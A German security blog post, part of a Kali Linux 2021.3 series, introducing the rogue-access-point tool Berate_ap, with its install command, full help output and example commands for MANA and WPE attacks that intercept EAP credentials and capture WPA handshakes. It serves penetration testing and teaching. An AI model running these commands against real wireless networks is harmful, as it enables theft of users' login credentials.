Tobias Scheible Cyber Security & IT-Forensik Dozent
Sicherheit - Schloß

Berate_ap – rogue WLAN Access Points

Mit dem Tool Berate_ap lassen sich rogue WLAN Access Points erstellen, die in der Lage sind, Extensible Authentication Protocol, kurz EAP, Authentifizierungen anzugreifen. Dazu werden Access Points simuliert und Verbindungsversuche aufgezeichnet.

Samstag, 16. Oktober 2021
0 Kommentare

Das Kali Linux Tool Berate_ap basiert auf dem eingestellten Tool Create_ap und verwendet wiederum das Tool hostapd-mana um Access Points zu simulieren, die Anfrage des Extensible Authentication Protocol (EAP), für die IEEE 802.1x/RADIUS Authentifizierung, abfangen. Damit kann getestet werden, ob sich Clients mit einem rogue WLAN Access Points mit gleicher SSID wie die des offiziellen Netzwerks verbinden und ob Zugangsschlüssel abgefangen werden können.

Installation

Mit der Integration von Berate_ap in Kali Linux 2021.3 kann das Tool direkt installiert werden:

$ sudo apt install berate-ap

Während der Installation werden die DH Parameter generiert. Dabei handelt es sich um eine Datei, die zum Beispiel für den Diffie-Hellman-Schlüsselaustausch bei TLS verwendet wird. Je nach Rechenleistung dauert die Erstellung einen Moment.

Berate_ap unter Kali Linux
Installation von Berate_ap unter Kali Linux 2021.3
Berate_ap unter Kali Linux Installation von Berate_ap unter Kali Linux 2021.3

Anwendung

Nach der Installation kann mit dem Parameter -h eine Übersicht der zur Verfügung stehenden Optionen von Berate_ap ausgegeben werden:

$ berate_ap -h
Usage: berate_ap [options] <wifi-interface> [<interface-with-internet>] [<access-point-name> [<passphrase>]]

Options:
  -h, --help              Show this help
  --version               Print version number
  -c <channel>            Channel number (default: 1)
  -w <WPA version>        Use 1 for WPA, use 2 for WPA2, 3 for WPA3, use 1+2 for WPA/2 (default), or 2+3 for WPA3/2 transition
  -n                      Disable Internet sharing (if you use this, don't pass
                          the <interface-with-internet> argument)
  -m <method>             Method for Internet sharing.
                          Use: 'nat' for NAT (default)
                               'bridge' for bridging
                               'none' for no Internet sharing (equivalent to -n)
  --psk                   Use 64 hex digits pre-shared-key instead of passphrase
  --hidden                Make the Access Point hidden (do not broadcast the SSID)
  --mac-filter            Enable MAC address filtering
  --mac-filter-accept     Location of MAC address filter list (defaults to /etc/hostapd/hostapd.accept)
  --redirect-to-localhost If -n is set, redirect every web request to localhost (useful for public information networks)
  --hostapd-debug <level> With level between 1 and 2, passes arguments -d or -dd to hostapd for debugging.
  --isolate-clients       Disable communication between clients
  --ieee80211n            Enable IEEE 802.11n (HT)
  --ieee80211ac           Enable IEEE 802.11ac (VHT)
  --ht_capab <HT>         HT capabilities (default: [HT40+])
  --vht_capab <VHT>       VHT capabilities
  --country <code>        Set two-letter country code for regularity (example: US)
  --freq-band <GHz>       Set frequency band. Valid inputs: 2.4, 5 (default: 2.4)
  --driver                Choose your WiFi adapter driver (default: nl80211)
  --ieee80211w <0-2>      Enable IEEE 802.11w Management Frame Protection (MFP). 0 disabled (default), 1 optional , 2 mandatory
  --no-virt               Do not create virtual interface
  --no-haveged            Do not run 'haveged' automatically when needed
  --fix-unmanaged         If NetworkManager shows your interface as unmanaged after you
                          close create_ap, then use this option to switch your interface
                          back to managed
  --mac <MAC>             Set MAC address
  --dhcp-dns <IP1[,IP2]>  Set DNS returned by DHCP
  --daemon                Run create_ap in the background
  --stop <id>             Send stop command to an already running create_ap. For an <id>
                          you can put the PID of create_ap or the WiFi interface. You can
                          get them with --list-running
  --list-running          Show the create_ap processes that are already running
  --list-clients <id>     List the clients connected to create_ap instance associated with <id>.
                          For an <id> you can put the PID of create_ap or the WiFi interface.
                          If virtual WiFi interface was created, then use that one.
                          You can get them with --list-running
  --mkconfig <conf_file>  Store configs in conf_file
  --config <conf_file>    Load configs from conf_file

Enterprise Options:
  --eap                   Enable Enterprise (EAP) wireless settings
                          Default is to use built in RADIUS server

                          *Built in RADIUS server*
  --eap-user-file         Full path to EAP user file
                          Default will use Manas hostapd.eap_user
  --eap-cert-subj         Set or modify certificate subject
  --eap-cert-path         Full path to wireless certificates
                          Name of the certs at the location:
                              - hostapd.ca.pem
                              - hostapd.dh.pem
                              - hostapd.cert.pem
                              - hostapd.key.pem
                          You will be prompted to generate a cert if no path is provided
  --eap-key-passwd        If key requires a password

                          *Use external RADIUS server*
  --radius-server         Use an external RADIUS server rather than built in
                          Default port is 1812
                              --remote-radius <ip address>[:port]
  --radius-secret         Provide shared RADIUS secret

Mana WPE Options:
  --mana-wpe              Enable WPE mode
                          Will intercept various EAP credentials
  --mana-credout <file>   Set location of output creds file
                          Default location is at /tmp/hostapd.credout
  --mana-eapsuccess       Always return an EAP success message
  --mana-eaptls           Accept any EAP-TLS client certificate

Mana/Karma Options:
  --mana                  Enable Mana Attack
                          Will respond affirmative to all device access point probes
  --mana-loud             Enable Mana loud mode
                          Will respond with all seen access points to devices
  --mana-whitelist <list> Provide a list of SSIDs to respond to
  --mana-logging          Enable Device logging to file, taxonomy enabled by default
                          Default output location is at /tmp/hostapd.manaout
  --mana-manaout <file>   Set location of output mana logging file

MANA Other Options:
  --mana-wpa              Enable MANA WPA handshake capture
                          Mana can capture handshakes for users attempting to connect which are then placed
                          into hashcats hccpx format. 
                          PLEASE NOTE: This attack currently does not work with mana enabled so the correct
                          ESSID will have to be specified
                          Default output location is at /tmp/hostapd.hccapx
  --mana-wpaout <file>    Set location of output for wpa-psk handshakes
  --colour                Colourise MANA output and credential capture so its easier to distinguish
  --vanilla               By default berate_ap will use hostapd_mana,
                          if you would like to use vanilla hostapd please use this flag
                          Using this flag will prevent evil mana operations

wpa_sycophant Options:
  --wpa-sycophant         Enable the enable_sycophant flag in MANA
                          wpa_sycophant is a tool used to relay MSCHAP authentication attempts
                          between a rogue AP and a legitimate AP
                          This may be used to authenticate to a legitimate AP using someone elses login attempt
                          similar to a tool like Impackets ntlmrelayx.py in the wired world.
                          This option needs to be used in conjunction with https://github.com/sensepost/wpa_sycophant
Non-Bridging Options:
  --no-dns                Disable dnsmasq DNS server
  --no-dnsmasq            Disable dnsmasq server completely
  -g <gateway>            IPv4 Gateway for the Access Point (default: 192.168.12.1)
  -d                      DNS server will take into account /etc/hosts
  -e <hosts_file>         DNS server will take into account additional hosts file

Useful informations:
  * If you're not using the --no-virt option, then you can create an AP with the same
    interface you are getting your Internet connection.
  * You can pass your SSID and password through pipe or through arguments (see examples).
  * On bridge method if the <interface-with-internet> is not a bridge interface, then
    a bridge interface is created automatically.

Examples:
  berate_ap wlan0 eth0 MyAccessPoint MyPassPhrase
  echo -e 'MyAccessPoint\nMyPassPhrase' | berate_ap wlan0 eth0
  berate_ap wlan0 eth0 MyAccessPoint
  echo 'MyAccessPoint' | berate_ap wlan0 eth0
  berate_ap wlan0 wlan0 MyAccessPoint MyPassPhrase
  berate_ap -n wlan0 MyAccessPoint MyPassPhrase
  berate_ap -m bridge wlan0 eth0 MyAccessPoint MyPassPhrase
  berate_ap -m bridge wlan0 br0 MyAccessPoint MyPassPhrase
  berate_ap --driver rtl871xdrv wlan0 eth0 MyAccessPoint MyPassPhrase
  berate_ap --daemon wlan0 eth0 MyAccessPoint MyPassPhrase
  berate_ap --stop wlan0
  berate_ap --eap --eap-cert-subj '/O=Internet Widgits Pty Ltd/ST=Some-State/C=AU' wlan0 eth0 MyAccessPoint
  berate_ap --eap --eap-user-file /etc/hostapd/hostapd.eap_user wlan0 eth0 MyAccessPoint
  berate_ap --trifecta wlan0 eth0 MyAccessPoint MyPassPhrase

Die obige Liste zeigt, wie flexibel Berate_ap ist und wie viele verschiedene Szenarien abgedeckt werden können. Als Einstieg kann ein simpler Access Point mit dem Namen „FakeSSID“ erstellt werden. Als erster Parameter wird das verwendete WLAN-Gerät (wlan0) übergeben, mit dem der Access Point erstellt werden soll. Danach erfolgt die Definition eines zweiten Netzwerkgerätes, worüber eine Internetverbindung realisiert wird. Da kein Passwort festgelegt wird, handelt es sich um ein offenes WLAN-Netzwerk.

$ berate_ap wlan0 eth0 FakeSSID

Um ein Passwort zu setzen, wird einfach ein weiterer Parameter gesetzt:

$ berate_ap wlan0 wlan0 FakeSSID Passwort

Um nun Zugangsdaten eines EAP gesicherten WLANs abzufangen, werden die Parameter –eap und –mana verwendet, um den MANA-Angriff zu starten (KARMA MANA Attack Theory).

$ berate_ap --eap --mana wlan0 eth0 FakeSSID

Zusätzlich lässt sich noch ein weiterer Angriff durchführen, der als WPE (Wireless Pwnage Edition) bezeichnet wird (EAP/WPE Attack Theory). Dazu wird anstatt dem Parameter –mana der Parameter –mana-wpe verwendet:

$ berate_ap --eap --mana-wpe wlan0 eth0 FakeSSID

Fazit Berate_ap

Berate_ap ist ein sehr mächtiges Kali Linux Tool mit sehr flexiblen Konfigurationsmöglichkeiten. Damit ist es das ideale Tool, um bei einem Pentest eines WLAN-Netzwerks mit dem Extensible Authentication Protocol (EAP) die IEEE 802.1x/RADIUS Authentifizierung durchzuführen.

Kali Linux 2021.3 Artikelserie

Dieser Blog-Artikel ist Teil der Kali Linux 2021.3 Artikelserie, in der ich mich mit den neuen Anwendungen der aktuellen Version des Kali Linux Betriebssystems für Pentester und Forensiker beschäftige.

Über Tobias Scheible

Tobias Scheible

Hallo, mein Name ist Tobias Scheible. Ich bin begeisterter Informatiker und Sicherheitsforscher mit den Schwerpunkten Cyber Security und IT-Forensik. Mein Wissen teile ich gerne anhand von Fachartikeln hier in meinem Blog und in meinem Fachbuch. Als Referent halte ich Vorträge und Workshops für Verbände und Unternehmen u. a. auch offene Veranstaltungen für den VDI und die IHK.

Kommentare

Es wurde noch kein Kommentar abgegeben.

Schreibe einen Kommentar!

Hilfe zum Kommentieren und Hiweise

Um kommentieren zu können, geben sie bitte mindestens ihren Namen und ihre E-Mail-Adresse an. Bitte nutzen Sie die Kommentarfunktion nicht dazu, andere zu beleidigen oder Spam zu verbreiten. Trolle und Spammer sind hier unerwünscht! Unangemessene Kommentare, die zum Beispiel gegen geltendes Recht verstoßen, eine Gefährdung anderer Besucher darstellen oder keinen sinvollen Inhalt beinhalten, werden gelöscht oder angepasst.

Name: Ihr Name, der oberhalb des Kommentars steht, gerne auch Ihren echten Namen, das erleichtert die Kommunikation für alle. Sollte ein Spam-Keyword als Name verwendet werden, kann dieses entfernt oder korrigiert werden.

E-Mail: Ihre E-Mail Adresse dient zur Identifizierung weiterer Kommentare und damit ich direkt Kontakt aufnehmen kann. Die E-Mail Adresse wird natürlich nicht veröffentlicht und nicht weitergegeben.

Website: Hier können Sie ihren eigenen Blog bzw. ihre eigene Website eintragen, dadurch wird Ihr Name und Ihr Avatar-Bild verlinkt. Werden rein kommerzielle Angebote offensichtlich beworben, setze ich den Link auf nofollow und unangemessene werden einfach entfernt.

Erlaubte HTML-Tags: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong> <hr> <big> <small> <sub> <sup> <u>

Ihre E-Mailadresse wird nicht veröffentlicht. Mit dem Absenden anerkennen Sie die Datenschutzhinweis des Blogs.